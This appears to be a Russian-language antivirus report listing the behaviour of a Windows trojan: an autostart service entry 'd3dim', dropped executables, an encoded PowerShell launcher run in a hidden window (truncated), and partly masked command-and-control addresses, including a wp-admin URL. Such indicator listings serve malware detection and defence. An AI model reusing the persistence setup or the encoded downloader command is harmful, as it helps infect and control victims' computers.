Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\d3dim] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\d3dim] 'ImagePath' = '"<SYSTEM32>\profapi\d3dim.exe"'
- 'd3dim' "<SYSTEM32>\profapi\d3dim.exe"
- 'd3dim' <SYSTEM32>\profapi\d3dim.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVAHoAMgBzAGMAXwBxAD0AKAAoACcAWABiADAAJwArACcAYgBoACcAKQArACcAMAAzACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAGUAUgBwAFIATwBGAGkAbABFAFwAWQBxADEARgAwAD...
- %HOMEPATH%\yq1f09m\inycp6p\cpc_0wt.exe
- <SYSTEM32>\profapi\d3dim.exe
- %HOMEPATH%\yq1f09m\inycp6p\cpc_0wt.exe в <SYSTEM32>\profapi\d3dim.exe
- '18#.#15.227.107':443
- http://al####ektronik.com/wp-admin/A/
- http://18#.##5.227.107:443/Owv5rYS8VBaBaUpw3/OYr4/PxIxxPsWpQk07oVjg/3eqJiUWy/ via 18#.#15.227.107
- DNS ASK al####ektronik.com
- '%HOMEPATH%\yq1f09m\inycp6p\cpc_0wt.exe'
- '<SYSTEM32>\profapi\d3dim.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVAHoAMgBzAGMAXwBxAD0AKAAoACcAWABiADAAJwArACcAYgBoACcAKQArACcAMAAzACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAGUAUgBwAFIATwBGAGkAbABFAFwAWQBxADEARgAwAD...' (со скрытым окном)